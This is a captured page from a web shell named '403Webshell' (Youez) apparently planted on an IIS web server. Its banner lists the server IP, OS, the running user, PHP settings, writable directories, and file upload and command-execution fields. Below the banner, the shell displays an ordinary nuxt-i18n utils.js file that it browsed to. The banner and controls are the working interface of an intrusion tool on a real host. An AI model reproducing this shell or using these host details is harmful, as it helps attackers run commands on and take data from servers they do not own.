403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/parsmega.nuxt/node_modules/nuxt-i18n/src/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/parsmega.nuxt/node_modules/nuxt-i18n/src/helpers/utils.js
/**
 * @typedef {import('../../types/internal').ResolvedOptions} ResolvedOptions
 */

/**
 * Retrieve page's options from the module's configuration for a given route
 *
 * @typedef {{ locales: readonly string[], paths: Record<string, string>} } ComputedPageOptions
 *
 * @param {import('@nuxt/types/config/router').NuxtRouteConfig} route
 * @param {ResolvedOptions['pages']} pages Pages options from module's configuration
 * @param {ResolvedOptions['localeCodes']} localeCodes
 * @param {string} pagesDir Pages dir from Nuxt's configuration
 * @param {ResolvedOptions['defaultLocale']} defaultLocale Default locale from Nuxt's configuration
 * @return {ComputedPageOptions | false} Page options
 */
export function getPageOptions (route, pages, localeCodes, pagesDir, defaultLocale) {
  /** @type {ComputedPageOptions} */
  const options = {
    locales: localeCodes,
    paths: {}
  }
  const pattern = new RegExp(`${pagesDir}/`, 'i')
  const chunkName = route.chunkName ? route.chunkName.replace(pattern, '') : route.name
  const pageOptions = chunkName ? pages[chunkName] : undefined
  // Routing disabled
  if (pageOptions === false) {
    return false
  }
  // Skip if no page options defined
  if (!pageOptions) {
    return options
  }

  // Remove disabled locales from page options
  options.locales = options.locales.filter(locale => pageOptions[locale] !== false)

  // Construct paths object
  for (const locale of options.locales) {
    const customLocalePath = pageOptions[locale]
    if (typeof customLocalePath === 'string') {
      // Set custom path if any
      options.paths[locale] = customLocalePath
      continue
    }

    const customDefaultLocalePath = pageOptions[defaultLocale]
    if (typeof customDefaultLocalePath === 'string') {
      // Set default locale's custom path if any
      options.paths[locale] = customDefaultLocalePath
    }
  }

  return options
}

/**
 * @param {string} routePath
 * @param {boolean | undefined} trailingSlash
 * @param {boolean} [isChildWithRelativePath] Indicates if it is a child route that has relative path
 * @return {string}
 */
export function adjustRouteDefinitionForTrailingSlash (routePath, trailingSlash, isChildWithRelativePath) {
  return routePath.replace(/\/+$/, '') + (trailingSlash ? '/' : '') || (isChildWithRelativePath ? '' : '/')
}

Youez - 2016 - github.com/yon3zu
LinuXploit